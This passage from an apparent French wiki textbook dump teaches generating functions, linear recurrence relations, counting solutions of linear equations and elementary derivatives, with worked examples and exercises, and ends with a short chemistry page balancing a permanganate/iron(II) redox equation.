la forme suivante donnée : :<math>1 + z + z^2 + \ldots = \frac{1}{(1 - z)}\,</math> and we can obtain many other generating functions by substitution. Par exemple : si <math>z = x^2\,</math>, nous avons : :<math>1 + x^2 + x^4 + \dots = \frac{1}{(1 - x^2)}\,</math> De manière similaire :<math>A + ABx + A(Bx)^2 + \ldots = \frac{A}{(1 - Bx)}\,</math> est obtenue en substituant z = Bx puis en multipliant l'expression entière par A. ==== Exercices ==== 1. Quels sont les coefficients des puissances de x : :<math>\frac{1}{(1 - 2x^3)}\,</math> 2. Quels sont les coefficients des puissances de x (Astuce : extraire un facteur d'1/2) : :<math>\frac{1}{(2 - x)}\,</math> 3. En regardant une expression appropriée de deux manières différentes, conclure que :<math>\frac{1}{4}(1 + \frac{x}{4} + (\frac{x}{4})^2 + \ldots )= 1 + (x - 3) + (x - 3)^2 + \ldots\,</math> Sont-elles réellement égales ? === Relations de récurrences linéaires === La suite de Fibonacci :1, 1, 2, 3, 5, 8, 13, 21, 34, 55... où chaque nombre, excepté le premier 2, est la somme des deux nombres précédents. Nous disons que les nombres sont ''reliés'' si la valeur qu'un nombre prend dépend des valeurs précédentes dans la suite. La suite de Fibonacci est un exemple de relation de récurrence, elle est exprimée par : :<math> \begin{matrix} x_n &=& x_{n-1} &+& \ x_{n - 2}; \ \mbox{pour n} \ge 2\\ x_0 &=& 1\\ x_1 &=& 1\\ \end{matrix} </math> où <math>x_n\,</math> est le (''n''+ 1)ème nombre de la suite. Noter que le premier nombre dans la suite est noté <math>x_0\,</math>. Cette relation de récurrence donnée, la question que nous voulons poser est "pouvons-nous trouver une formule pour le (''n''+1)ème nombre dans la suite ?". La réponse est oui, mais avant cela, regardons quelques exemples. ==== Exemple 1 ==== Les expressions :<math> \begin{matrix} x_n &=& 2x_{n-1}& + &3x_{n-2}; \ \mbox{pour n} \ge 2\\ x_0 &=& 1\\ x_1 &=& 1 \end{matrix} </math> définit une relation de récurrence. La suite est : 1, 1, 5, 13, 41, 121, 365... Trouver une formule pour le (''n''+1)ème nombre dans la suite. '''Solution''' Soit G(z) la série de puissances de la suite, ce qui signifie que le coefficient de chaque puissance (en ordre croissant) est le nombre correspondant dans la suite. Donc, la série de puissances ressemble à :<math> G(z) = 1 + z + 5z^2 + 13z^3 + 41z^4 + 121z^5 + \ldots\, </math> Maintenant, par une série de manipulations algébriques, nous pouvons trouver la forme fermée de la série de puissances et à partir de là, la formule pour chaque coefficient :<math> \begin{matrix} & &G(z) & = &x_0 + &x_1z + &x_2z^2 &+ &x_3z^3 + x_4z^4 + x_5z^5 + ...\\ 2z&\times &G(z) & = & &2x_0z + &2x_1z^2 &+ &...\\ 3z^2&\times &G(z)& = & & &3x_0z^2 &+ &...\\ \end{matrix} </math> :<math> \begin{matrix} G(z) - 2zG(z) - 3z^2G(z) &=& x_0 + (x_1 - 2x_0)z & + \\ & & (x_2 - 2x_1 - 3x_0)z^2 & + \\ & & (x_3 - 2x_2 - 3x_1)z^3 & + &... \end{matrix} </math> par définition <math>x_n - 2x_{n - 1} - 3x_{n - 2} = 0\,</math> :<math> \begin{matrix} (1 - 2z - 3z^2)& \times & G(z)& =& x_0 + (x_1 - 2x_0)z\\ \\ & & G(z)& =& \frac {1 - z} {1 - 2z - 3z^2}\\ \\ & & G(z)& =& \frac {1 - z} {(1 - 3z)(1 + z)} \end{matrix} </math> par la [[AL Fractions partielles|méthode des fractions partielles]], nous obtenons : :<math> G(z) = \frac {1} {2} \times \frac {1} {1 - 3z} + \frac {1} {2} \times \frac {1} {1 + z}\, </math> chaque partie de la somme est une forme fermée reconnaissable. Nous pouvons conclure que : :<math> x_n = \frac {1} {2} \times 3^n + \frac {1} {2} \times (-1)^n\, </math> le lecteur peut facilement vérifier la précision de la formule. ==== Exemple 2 ==== :<math> \begin{matrix} x_n &=& x_{n-1} &+& x_{n-2}& -& x_{n-3}; \ \mbox{pour n} \ge 3\\ x_0 &=& 1 \\ x_1 &=& 1 \\ x_2 &=& 1 \end{matrix} </math> Trouver une formule non-récurrente pour <math>x_n\,</math>. '''Solution''' Soit G(z), la série de puissances de la suite décrite ci-dessus. :<math>G(z) = x_0 + x_1z + x_2z^2 + \ldots\,</math> <br></br> :<math> \begin{matrix} G(z)(1 - z - z^2 + z^3) &=& x_0 &+& (x_1 - x_0)z + (x_2 - x_1 - x_0)z^2\\ G(z)(1 - z - z^2 + z^3) &=& 1 - z^2\\ \\ \end{matrix} </math> <br></br> :<math> \begin{matrix} G(z) &=& \frac{1 - z^2}{1 - z - z^2 + z^3}\\ \\ G(z) &=& \frac{1 - z}{1 - 2z + z^2}\\ \\ G(z) &=& \frac{1} {1 - z} \end{matrix} </math> Par conséquent <math>x_n = 1\,</math>, quel que soit n. ====Exemple 3==== Une relation de récurrence linéaire est définie par : :<math> \begin{matrix} x_n &=& x_{n-1}& + & 6x_{n-2} + 1; \ \mbox{pour n} \ge 2\\ x_0 &=& 1\\ x_1 &=& 1\\ \end{matrix} </math> Trouver la formule générale pour <math>x_n\,</math>. '''Solution''' Soit G(z) la série de puissances de la relation de récurrence. :<math>G(z)(1 - z - 6z^2) = x_0 + (x_1 - x_0)z + (x_2 - x_1 - 6x_0)z^2 +\ldots\,</math> :<math>G(z)(1 - z - 6z^2) = 1 + z^2 + z^3 + z^4 + \ldots\,</math> :<math>G(z)(1 - z - 6z^2) = 1 + z^2(1 + z + z^2 + \ldots)\,</math> :<math>G(z)(1 - z - 6z^2) = 1 + \frac{z^2}{1 - z}\,</math> :<math>G(z)(1 - z - 6z^2) = \frac{1 - z + z^2}{1 - z}\,</math> <br></br> :<math> \begin{matrix} G(z) &=& \frac{1 - z + z^2}{(1 - z)(1 + 2z)(1 - 3z)}\\ G(z) &=& -\frac{1}{6(1-z)} + \frac{7}{15(1 + 2z)} + \frac{7}{10(1-3z)} \end{matrix} </math> Par conséquent :<math> x_n = -\frac{1}{6} + \frac{7}{15}(-2)^n + \frac{7}{10}3^n</math> ==== Exercices ==== 1. Déduire la formule pour le (''n+1'')ème nombre dans la suite définie par les relations de récurrence : :<math> \begin{matrix} x_n &=& 2x_{n-1}& - &1; \ \mbox{pour n} \ge 1\\ x_0 &=& 1 \end{matrix} </math> 2. Déduire la formule pour le (''n+1'')ème nombre dans la suite définie par les relations de récurrence : :<math> \begin{matrix} 3x_n &=& -4x_{n-1}& + & x_{n-2}; \ \mbox{pour n} \ge 2 \\ x_0 &=& 1\\ x_1 &=& 1\\ \end{matrix} </math> 3. (Facultatif) Déduire la formule pour le (''n+1'')ème nombre de Fibonacci. == Dénombrement avancé == Considérons l'équation :<math>a + b = n\,</math>; <math>a, b \ge 0</math> sont des nombres entiers Pour un nombre entier positif fixé n, combien de solutions existe-t'il ? Nous pouvons compter le nombre de solutions : :0 + n = n :1 + (n - 1) = n :2 + (n - 2) = n :... :n + 0 = n Comme vous pouvez le voir, il existe (n + 1) solutions. Une autre manière de résoudre le problème est de considérer la série de puissance :<math>G(z) = 1 + z + z^2 + \ldots + z^n\,</math> Soit <math>H(z) = G(z)G(z)\,</math>, i.e. :<math>H(z) = {(1 + z + z^2 + \ldots + z^n)}^2\,</math> Le coefficient de <math>z^n\,</math> dans H(z) est le nombre de solutions de <math>a + b = n, a, b > 0\,</math>. Considérons :<math>A(z) = 1 + z + z^2 + z^3 + \ldots\,</math> Soit :<math>B(z) = A^2(z)\,</math> il s'ensuit :<math>B(z) = (1 + z + z^2 + z^3 + \ldots) + z(1 + z + z^2 + z^3 + \ldots) + z^2(1 + z + z^2 + z^3 + \ldots) + z^3(1 + z + z^2 + z^3 + \ldots) + \ldots\,</math> :<math>B(z) = 1 + 2z + 3z^2 + \ldots\,</math> Maintenant, nous pouvons voir que le coefficient de z<sup>n</sup> (pour n &ge; 0) est clairement le nombre de solutions de a + b = n (a, b > 0). Nous sommes prêts maintenant à déduire un résultat très important : soit <math>t_k\,</math>, le nombre de solutions de <math>a + b = n (a, b > 0)\,</math>. Alors, la série de puissance pour la suite <math>t_k\,</math> est :<math>T(z) = (1 + z + z^2 + \ldots + z^n + \ldots)(1 + z + z^2 + \ldots + z^n + \ldots)\,</math> :<math>T(z) = \frac{1}{(1 - z)^2}</math> i.e. <blockquote style="padding: 1em; border: 2px dotted purple;"> :<math>\frac{1}{(1 - z)^2} = 1 + 2z + 3z^2 + 4z^3 + ... + (n+1)z^n + \ldots\,</math> </blockquote> === Dénombrer les solutions de a<sub>1</sub> + a<sub>2</sub> + ... + a<sub>m</sub> = n === Considérons le nombre de solutions de l'équation suivante : :<math>a_1 + a_2 + \ldots + a_m = n\,</math> où <math>a_i \ge 0\,</math>; i = 1, 2, ... m. En appliquant la méthode discutée précédemment, si <math>t_k\,</math> est le nombre de solutions de l'équation ci-dessus lorsque n = k. La série de puissance pour <math>t_k\,</math> est :<math>T(z) = \frac{1}{(1-z)^m}\,</math> mais qu'est-ce que <math>t_k\,</math> ? Tant que vous n'avez pas appris l'analyse, il est difficile de déduire une formule simplement en regardant l'équation de T(z). Sans supposer de connaissance en analyse, nous considérons le problème de dénombrement suivant. "Vous avez trois soeurs, et n (n &ge; 3) poupées. Vous décidez de donner à chacune de vos soeurs au moins une poupée. De combien de manières pouvez-vous le faire ?" Une manière de résoudre le problème est d'aligner toutes les poupées sur la table. Puisqu'il y a ''n'' poupées, il y a (''n'' - 1) espaces entre elles (comme vous avez 5 doigts sur chaque mains et 4 espaces entre eux). Maintenant, à partir des (''n'' - 1) espaces disponibles, ''choisir'' 2 et mettre un diviseur dans chaque espace que vous avez choisi ! Alors, vous avez divisé les ''n'' poupées en trois parts, une pour chaque soeur. Il y a <math> n - 1 \choose 2 </math> manière de le faire ! Si vous avez 4 soeurs, alors il y a <math> n - 1 \choose 3 </math> manières de le faire. Si vous avez m soeurs, il y a <math> n - 1 \choose m - 1</math> manières de le faire. Maintenant, considérons ; "Vous avez trois soeurs, et vous avez n poupées. Vous décidez de donner à chacune d'elles une certaine quantité de poupées (sans restriction sur la quantité donnée à chaque soeur). De combien de manières peut-on le faire ?" Notons que nous venons de résoudre : :<math>a_1 + a_2 + a_3 = n\,</math> où a<sub>i</sub> &ge; 0; i = 1, 2, 3. Vous pouvez résoudre le problème en alignant n + 3 poupées sur la table. Prenons deux diviseurs et ''choisissons'' 2 espaces à partir des n + 2 espaces disponibles. Maintenant que vous avez divisé n + 3 poupées en 3 parts, dont chaque part a 1 ou plus de poupées. Maintenant, reprenons 1 poupée de chaque part, et vous avez résolu le problème ! Donc, le nombre de solutions est <math> n + 2 \choose 2\,</math>. Plus généralement, si vous avez m soeurs et n poupées, le nombre de manières pour partager les poupées est :<math> {{n + m - 1} \choose {m - 1}} = {{n + m - 1} \choose {n}} </math> . Un petit conseil, si vous avez des soeurs, donnez-leur une quantité égale de poupées, parcequ'elles sont toutes adorables. Maintenant, comme discuté ci-dessus, le nombre de solutions de :<math>a_1 + a_2 + \ldots + a_m = n\,</math> où <math>a_i \ge 0 (i = 1, 2, 3 \ldots m)\,</math> est :<math>{{n + m - 1} \choose {n}}\,</math> i.e. <blockquote style="padding: 1em; border: 2px dotted purple;"> :<math>\frac{1}{(1 - z)^m} = \sum_{i=0}^\infty {m + i - 1 \choose i}z^i</math> </blockquote> ==== Exemple 1 ==== La forme réduite d'une série de puissance T(z) est :<math>T(z) = \frac{z}{(1-z)^2}\,</math> et t<sub>k</sub> est le coefficient de z<sup>k</sup> est T(z). Trouver une formule explicite pour t<sub>k</sub>. '''Solution''' :<math> \begin{matrix} \frac{1}{(1-z)^2} &=& \sum_{i=0}^\infty (i+1)z^i\\ \\ \frac{z}{(1-z)^2} &=& z\sum_{i=0}^\infty (i+1)z^i\\ \\ &=& \sum_{i=0}^\infty (i+1)z^{i+1}\\ \end{matrix} </math> Par conséquent, t<sub>k</sub> = k ==== Exemple 2 ==== Trouver le nombre de solutions de : :a + b + c + d = n pour tous les entiers positifs n (incluant zéro) avec la restriction <math>a, b, c ,d \ge 0\,</math>. '''Solution''' Par la formule :<math> \begin{matrix} \frac{1}{(1-z)^4} &=& \sum_{i=0}^\infty {{n + 3}\choose {3}}z^i\\ \\ \end{matrix} </math> donc :le nombre de solutions est <math>{{n + 3}\choose {3}}\,</math> === Plus de dénombrement === Nous tournons un problème légèrement plus difficile de la même manière. Supposons que comptons le nombre de solutions de : :<math>2a + 3b + c = n\,</math> pour un certain entier <math>n \ge 0\,</math>, avec a, b, et c aussi plus grand ou égal à zéro. Nous pouvons écrite la forme réduite, nous notons le coefficient de x<sup>n</sup> de : :<math>(1 + x^2 + x^4 + ...)(1 + x^3 + x^6 + ...)(1 + x + x^2 + ...) = \frac{1}{(1 - x^2)(1 - x^3)(1 - x)}</math> est la solution requise. Ceci est dû au fait, de nouveau, que lorsque les puissances sont multipliées, les indices s'ajoutent. Pour obtenir le nombre de solutions, nous scindons l'expression en formes réduites reconnaissables par la méthode des fractions partielles. ==== Exemple 1 ==== Soit <math>s_k\,</math> le nombre de solutions de l'équation suivante : :<math>2a + 2b = n; (a, b \ge 0)\,</math> Trouver la série de puissances pour <math>s_k\,</math>, puis trouver une formule explicite pour <math>s_n\,</math> en termes de ''n''. '''Solution''' Soit T(z) la série de puissances de <math>t_k\,</math> :<math>T(z) = {(1 + z_2 + z_4 + ... + z_{2n} + ...)}^2\,</math> :<math>T(z) = \frac{1}{(1 - z^2)^2}\,</math> Il n'est pas difficile de voir que :<math>s_n = 0 \ \mbox{si n est impair}</math> :<math>s_n = {n/2 + 1\choose n/2} = {n/2 + 1\choose 1} = n/2 + 1 \ \mbox{si n est pair}</math> ==== Exemple 2 ==== Soit <math>t_k\,</math> le nombre de solutions de l'équation suivante : :<math>a + 2b = n (a, b \ge 0)\,</math> Trouver la série de puissances pour <math>t_k\,</math>, puis trouver une formule explicite pour <math>t_n\,</math> en termes de ''n''. '''Solution''' Soit T(z) la série de puissances de <math>t_k\,</math> :<math>T(z) = (1 + z + z_2 + ... + z_n + ...)(1 + z_2 + z_4 + ... + z_{2n} + ...)\,</math> :<math>T(z) = \frac{1}{(1 - z)} \times \frac{1}{1 - z^2}</math> :<math>T(z) = \frac{1}{(1 - z)^2} \times \frac{1}{1 + z}</math> :<math>T(z) = \frac{Az + B}{(1 - z)^2} + \frac{C}{1 + z}</math> :A = -1/4, B = 3/4, C = 1/4 :<math>T(z) = -\frac{1}{4}\sum_{i=0}^\infty (i+1)z^{i+1} + \frac{3}{4}\sum_{i=0}^\infty (i+1)z^i + \frac{1}{4}\sum_{i=0}^\infty (-1)^iz^i</math> :<math>t_k = -\frac{1}{4}k + \frac{3}{4}(k + 1) + \frac{1}{4} (-1)^k</math> === Exercices === 1. Soit :<math>T(z) = \frac{1}{(1 + z)^2} </math> la série de puissances de <math>t_k\,</math> (k = 0, 1, 2 ...). Trouver une formule explicite pour <math>t_k\,</math> en termes de ''k''. 2. Combien de solutions ont les équations suivantes si ''m'' est une constante donnée :<math>a + b + 2c = m\,</math> où a, b et c &ge; 0 == Dérivation == Cette section et la section sur la *technique de dérivation* peuvent être passées si vous êtes déjà familier avec l'analyse/dérivation. En analyse, la dérivation est une des opérations les plus importantes appliquées aux fonctions de nombres réels. Pour dériver une fonction f(x), nous évaluons simplement la limite :<math>\lim_{h \to 0}\frac{f(x + h) - f(x)}{h}</math> où <math>\lim_{h \to 0}</math> signifie que nous faisons tendre ''h'' vers 0. Néanmoins, pour l'instant, nous pouvons simplement penser cela comme égalant ''h'' à 0, i.e., ''h'' = 0 à un temps approprié. Il existe plusieurs notations diverses pour le résultat de la dérivation (appelée la dérivée), par exemple :<math>f'(x) = \lim_{h \to 0}\frac{f(x + h) - f(x)}{h}</math> et :<math> \frac{dy}{dx}= \lim_{h \to 0}\frac{f(x + h) - f(x)}{h}</math> veulent dire la même chose. Nous posons, f'(x) est la dérivée de f(x). La dérivation est très utile pour beaucoup d'usages, mais nous n'allons pas exposer les raisons de l'invention de l'analyse, mais plutôt comment nous pouvons appliquer l'analyse à l'étude des séries de puissances. Il devrait être clair que si :g(x) = f(x) alors :g'(x) = f'(x) La loi ci-dessus est importante. Si g(x) une forme réduite de f(x), alors la dérivation des deux cotés est valide pour obtenir une nouvelle série de puissances. Aussi, si :h(x) = g(x) + f(x) alors :h'(x) = g'(x) + f'(x) Ceci peut être vérifié en examinant les propriétés des limites. ==== Exemple 1 ==== Dérivons f(x) où :<math>f(x) = x^2\,</math> Premièrement, nous formons le ''quotient différentiel'' :<math>f'(x) = \lim_{h\to 0}\frac{(x + h)^2 - x^2}{h}</math> Nous ne pouvons pas fixer ''h'' à 0 pour évaluer la limite à ce point. Pouvez-vous voir pourquoi ? Nous devons développer le facteur quadratique d'abord. :<math> = \lim_{h\to 0}\frac{x^2 + 2xh + h^2 - x^2}{h}</math> :<math> = \lim_{h\to 0}\frac{2xh + h^2}{h}</math> Nous pouvons maintenant extraire ''h'' pour obtenir maintenant :<math>\lim_{h\to 0}2x + h </math> à partir duquel nous pouvons faire tendre ''h'' vers zéro de manière sure pour obtenir la dérivée, 2''x''. Donc :f'(x) = 2x ou de manière équivalente : :<math>(x^2)' = 2x\,</math> ==== Exemple 2 ==== Dériver <math>p(x) = x^n\,</math>. Nous démarrons à partir du quotient différentiel : :<math>p'(x)= \lim_{h\to 0}\frac{(x + h)^n - x^n}{h}</math> Par le théorème du binôme, nous avons : :<math>=\lim_{h\to 0} \frac{1}{h}(x^n + nx^{n-1}h + ...+ h^n - x^n)</math> Le premier ''x''<sup>''n''</sup> s'annule avec le dernier, pour obtenir :<math>=\lim_{h\to 0} \frac{1}{h}(nx^{n-1}h + ...+ h^n)</math> Maintenant, nous mettons la constante 1/''h'' entre parenthèses :<math>=\lim_{h\to 0}nx^{n-1} +...+ h^{n-1}</math> et le résultat devient : :<math>=nx^{n-1}\,</math> '''Résultat important''' <blockquote style="padding: 1em; border: 2px dotted purple;"> Si :<math> p(x) = x^n\, </math> alors :<math> p'(x) = nx^{n-1}\, </math> </blockquote> Comme vous pouvez le voir, la dérivation implique d'extraire la dérivée d'une fonction à travers une manipulation algébrique, et pour cette raison, cette section est algébriquement très difficile. ==== Exemple 3 ==== Supposons que si :h(x) = f(x) + g(x) alors :h'(x) = f'(x) + g'(x) Dérivons <math> x^2 + x^5\,</math> ''' Solution ''' Soit <math>h(x) = x^2 + x^5\,</math> :<math>h'(x) = 2x + 5x^4\,</math> ==== Exemple 4 ==== Montrer que si <math>g(x) = A \times f(x)\,</math> alors :<math>g'(x) = A \times f'(x)\,</math> ''' Solution ''' :<math> \begin{matrix} g(x) &=& Af(x)\\ \\ g'(x) &=& \lim_{h\to 0}\frac{A}{h}(f(x + h) - f(x))\\ \\ &=& A\lim_{h\to 0}\frac{1}{h}(f(x + h) - f(x))\\ \\ &=& Af'(x) \end{matrix} </math> ==== Exemple 5 ==== Dériver :<math> \begin{matrix} f(x) = \frac{1}{1-x} \end{matrix} </math> ''' Solution ''' :<math> \begin{matrix} f'(x) &=& \lim_{h\to 0}\frac{1}{h}(\frac{1}{1-(x+h)} - \frac{1}{1-x})\\ \\ &=& \lim_{h\to 0}\frac{1}{h}(\frac{1 - x - (1 - (x+h))}{(1-(x+h))(1-x)})\\ \\ &=& \lim_{h\to 0}\frac{1}{h}(\frac{h}{(1-(x+h))(1-x)})\\ \\ &=& \lim_{h\to 0}\frac{1}{(1-(x+h))(1-x)}\\ \\ &=& \frac{1}{(1-x)^2} \end{matrix} </math> ==== Exercices ==== 1. Dériver :<math>f(z) = z^3\,</math> 2. Dériver :<math>f(z) = (1 - z)^2\,</math> 3. Dériver :<math>f(z) = \frac{1} {(1 - z)^2}\,</math> 4. Dériver :<math>f(z) = (1 - z)^3\,</math> 5. Prouver le résultat supposé dans l'exemple 3 ci-dessus, ie., que si <math>f(x) = g(x) + h(x), f'(x) = g'(x) + h(x)\,</math> . ''Conseil : utiliser les limites''. === Dérivation de f(z) = (1 - z)^n === Nous voulons dériver un résultat vital dans cette section, nommément, dériver la dérivée de :<math>f(z) = (1 - z)^n \,</math> où <math>n \ge 1\,</math> et ''n'' un entier. Nous montrerons un certain nombre de manières pour arriver au résultat. ==== Dérivation 1 ==== Commençons par : :<math>f(z) = {(1 - z)}^n\,</math> Développons le coté droit en utilisant le développement du binôme :<math>f(z) = \sum_{i=0}^n (-1)^i{n \choose i}z^i = 1 - {n \choose 1}z + {n \choose 2}z^2 + ... + (-1)^nz^n</math> dérivons les deux cotés :<math>f'(z) = \sum_{i=1}^n (-1)^i{n \choose i}iz^{i-1} = - {n \choose 1} + {n \choose 2}2z + ... + (-1)^nnz^{n-1}</math> maintenant nous utilisons <math>{n\choose i} = \frac{n!}{i!(n-i)!}</math> :<math>f'(z) = \sum_{i=1}^n (-1)^i \frac{n!}{i!(n-i)!} iz^{i-1} = - \frac{n!}{1!(n-1)!} + \frac{n!}{2!(n-2)!}2z + ... + (-1)^nnz^{n-1}</math> il existe certaines annulations :<math>f'(z) = \sum_{i=1}^n (-1)^i \frac{n!}{(i-1)!(n-i)!}z^{i-1} = - \frac{n!}{1!(n-1)!} + \frac{n!}{1!(n-2)!}z + ... + (-1)^nnz^{n-1}</math> prenons un facteur commun de -n, et rappelons que 1! = 0! = 1 nous obtenons :<math>f'(z) = -n\sum_{i=1}^n (-1)^{(i-1)} \frac{n-1!}{(i-1)!(n-i)!}z^{i-1} =-n(1 + \frac{n-1!}{1!(n-2)!}z + ... + (-1)^{n-1}z^{n-1})</math> soit j = i - 1, nous obtenons :<math>f'(z) = -n\sum_{j=0}^{n-1} (-1)^{(i-1)} \frac{n-1!}{(i-1)!(n-i)!}z^{i-1} =-n(1 + \frac{n-1!}{1!(n-2)!}z + ... + (-1)^{n-1}z^{n-1})</math> mais ceci est justement le développement de (1 - z)<sup>n-1</sup> :<math>f'(z) = -n{(1 - z)}^{n-1}\,</math> ==== Dérivation 2 ==== De manière similaire à la dérivation 1, nous utilisons à la place de la définition d'une dérivée : :<math>f'(z) = \lim_{h \to 0}\frac{(1 - (z+h))^n - (1-z)^n}{h}</math> développons en utilisant le théorème du binôme :<math>f'(z) = \lim_{h \to 0}\frac{\sum_{i=0}^n{n \choose i}(-1)^i(z+h)^i - \sum_{i=0}^n{n \choose i}(-1)^iz^i}{h}</math> factorisons :<math>f'(z) = \lim_{h \to 0}\frac{\sum_{i=0}^n{n \choose i}(-1)^i((z+h)^i - z^i)}{h}</math> prenons la limite à l'intérieur (rappelons-nous que [Af(x)]' = Af'(x) ) :<math>f'(z) = \sum_{i=0}^n{n \choose i}(-1)^i\lim_{h \to 0}\frac{(z+h)^i - z^i}{h}</math> l'intérieur est justement la dérivée de z<sup>i</sup> :<math>f'(z) = \sum_{i=1}^n{n \choose i}(-1)^iiz^{i-1}</math> exactement comme pour la dérivation 1, nous obtenons :<math>f'(z) = -n{(1-z)}^{n-1}\,</math> ''' Exemple ''' Dérivons <math>{(1 - z)}^2\,</math> ''' Solution 1''' :<math>f(z) = {(1 - z)}^2 = 1 - 2z + z^2\,</math> :<math>f'(z) = - 2 + 2z\,</math> :<math>f'(z) = - 2(1 - z)\,</math> ''' Solution 2''' Par le résultat déduit de ce qui précède, nous avons :<math>f'(z) = -2{(1 - z)}^(2 - 1) = -2(1 - z)\,</math> ==== Exercices ==== En imitant la méthode utilisée ci-dessus ou autrement, dériver : 1. <math>(1 - z)^3\,</math> 2. <math>(1 + z)^2\,</math> 3. <math>(1 + z)^3\,</math> 4. (plus difficile) <math>\frac{1}{(1 - z)^3}\,</math> (conseil : Utiliser la définition de la dérivée) === Technique de dérivation === Nous apprendrons comment dériver des fonctions de la forme : :<math>f(z) = \frac{1} {g(z)}</math> i.e. des fonctions dont les inverses sont aussi des fonctions. Nous commençons, par la définition de la dérivation : :<math>f(z) = \frac{1} {g(z)}</math> <br /> :<math> \begin{matrix} f'(z) &=& \lim_{h\to 0}\frac{1}{h} (\frac{1} {g(z+h)} - \frac{1} {g(z)})\\ \\ &=& \lim_{h\to 0}\frac{1}{h} (\frac{g(z) - g(z+h)} {g(z+h)g(z)}) \\ \\ &=& \lim_{h\to 0}\frac{g(z+h) - g(z)}{h} \frac{-1} {g(z+h)g(z)} \\ \\ &=& \lim_{h\to 0} g'(z) \frac{-1} {g(z+h)g(z)}\\ \\ &=& -\frac{g'(z)} {g(z)^2}\\ \end{matrix} </math> ==== Exemple 1==== :<math> \begin{matrix} \frac{1}{1-z} & = & 1 +& z + z^2 + z^3 + ... \\ \\ (\frac{1}{1-z})' & = & & 1 + 2z + 3z^2 + ... \\ \end{matrix} </math> par :<math> (\frac{1}{g})' = \frac{-g'}{g^2}</math> où ''g'' est une fonction de ''z'', nous obtenons :<math> \begin{matrix} \frac{1}{(1-z)^2} & = & & 1 + 2z + 3z^2 + ... \\ \end{matrix} </math> qui confirme le résultat déduit en utilisant un argument de dénombrement. ==== Exercices ==== Dériver 1. <math>\frac{1}{(1-z)^2}\,</math> 2. <math>\frac{1}{(1-z)^3}\,</math> 3. <math>\frac{1}{(1+z)^3}\,</math> 4. Montrer que <math>{\frac{1}{(1-z)^n}}\,' = \frac{n}{(1-z)^{n+1}}\,</math> === La dérivation appliquée aux séries de puissances === Maintenant que nous sommes familiers avec la dérivation, nous devrions considérer : :<math>f(z) = \frac{1} {1 - x^2}</math> Nous savons que :<math>\frac{1} {1 - x^2} = 1 + x^2 + x^4 + x^6 + ....</math> dérivons les deux cotés :<math>\begin{pmatrix}\frac{1} {1 - x^2}\end{pmatrix}' = 2x + 4x^3 + 6x^5 + ....</math> <br /> :<math>\frac{2x} {(1 - x^2)^2} = 2x(1 + 2x^2 + 3x^4 + ....)</math> par conséquent, nous pouvons conclure que :<math>\frac{1} {(1 - x^2)^2} = 1 + 2x^2 + 3x^4 + ....</math> Noter que nous pouvons obtenir le résultat ci-dessus par la méthode de substitution, :<math>\frac{1} {(1 - z)^2} = 1 + 2z + 3z + ....</math> en remplaçant z = x<sup>2</sup>, cela nous donne le résultat requis. L'exemple précédent a montré que nous ne sommes pas concernés par les dérivations difficiles. Plutôt, pour obtenir les résultats d'une manière facile, nous devons seulement dériver les formes de base et appliquer la méthode de substitution. Par formes basiques, nous voulons dire les séries de puissances de la forme : :<math>\frac{1}{(1-z)^n}</math> pour <math>n \ge 1\,</math>. Considérons le nombre de solutions de :<math>a_1 + a_2 + a_3 + ... + a_n = m</math> pour <math>a_i \ge 0\,</math> pour <math>i = 1, 2, ... n\,</math>. Nous savons que pour tout ''m'', le nombre de solutions est le coefficient de : :<math>(1 + x + x^2 + ...)^n = \frac{1}{(1 - z)^n}</math> comme discuté précédemment. Nous démarrons à partir de : :<math>\frac{1}{1 - z} = 1 + x + x^2 + ... + x^n + ...</math> et dérivons les deux cotés (noter que 1 = 1!) :<math>\frac{1!}{(1 - z)^2} = 1 + 2x + 3x^2... + nx^{n-1} + ...</math> nous dérivons de nouveau :<math>\frac{2!}{(1 - z)^3} = 2 + 2\times 3x... + n(n-1)x^{n-2} + ...</math> et ainsi de suite pour (n-1) fois :<math>\frac{(n-1)!}{(1 - z)^n} = (n - 1)! + \frac{n!}{1!}x + \frac{(n + 1)!}{2!}x^2 + \frac{(n + 2)!}{3!}x^3 + ...</math> nous divisons les deux cotés par (n-1)! :<math>\frac{1}{(1 - z)^n} = 1 + \frac{n!}{(n-1)!1!}x + \frac{(n + 1)!}{(n-1)!2!}x^2 + \frac{(n + 2)!}{(n-1)!3!}x^3 + ...</math> ceci confirme le résultat déduit en utilisant un argument de dénombrement. == Ensemble de problèmes == 1. Une Nouvelle Compagnie a emprunté 250 000 € pour le capital initial de démarrage, et la banque prend un intérêt mensuel de 3 %. Avant la fin de chaque mois, ils envisagent de rendre x € et l'intérêt est compré le dernier jour de ce mois. Soit <math>D_n\,</math> la dette qui reste après n mois. a)Définir <math>D_n\,</math> récursivement. b)Trouver les valeurs minimales de x. c)Extraire la formule générale pour <math>D_n\,</math>. d)Ainsi, déterminer combien de mois sont nécessaires pour tout rembourser s'ils rendent 12 000 € chaque mois. 2. Un arbre binaire est un arbre où à partir de chaque noeud, on peut avoir deux noeuds. Montrer que la figure ci-dessous est un exemple d'arbre binaire. [[Image:HSE_ch5_binary_tree.png]] a)Soit <math>c_n\,</math> le nombre d'arrangements uniques d'un arbre binaire avec n noeuds au total. Soit C(z), une série de puissances de <math>c_n\,</math>. (i)Définir C(z) en utilisant la récursion. (ii)Puis, trouver la forme réduite de C(z). b)Soit <math>P(x)=\sqrt{1+ax}=p_0 + p_1 x + p_2 x^2 + p_3 x^3 ...</math> une série de puissances. (i)En considérant la dérivée n-ième de P(x), trouver une formule pour <math>p_n\,</math>. (ii)En utilisant les résultats à partir de a) et b)(i) , ou autrement, déduire une formule pour for <math>c_n\,</math>. Conseil : Au lieu de faire une récursion pour rechercher le changement dans <math>c_n\,</math> lorsqu'on ajoute des noeuds à la base, essayer de penser à la manière opposée, et à la direction. (Et non, sans supprime de noeuds) Chimie:Aide oxydoréduction 3968 15434 2005-06-18T08:27:01Z Antoinel 182 <math> MnO_{4}^- + ... = Mn^{2+} + ... </math> <br /> <math> MnO_{4}^- + ... = Mn^{2+} + 4H_{2}O </math> <br /> <math> MnO_{4}^- + 8H^{+} + ... = Mn^{2+} + 4H_{2}O </math> <br /> <math> MnO_{4}^- + 8H^{+} + 5e^{-} = Mn^{2+} + 4H_{2}O </math> <br /> <math> Fe^{2+} = Fe^{3+} + e^- </math> <br /> <math> MnO_{4}^- + 8H^{+} + 5e^{-} = Mn^{2+} + 4H_{2}O </math> (x1) <br /> <math>/underline {Fe^{2+} = Fe^{3+} + e^-} </math> (x5) <br /> <math> MnO_{4}^- + 5Fe^{2+} + 8H^+ \rightarrow Mn^{2+} + 4H_{2}O + 5 Fe^{3+} </math> ---- Retour au ---- Anglais: The senses : les sens 3969 27136 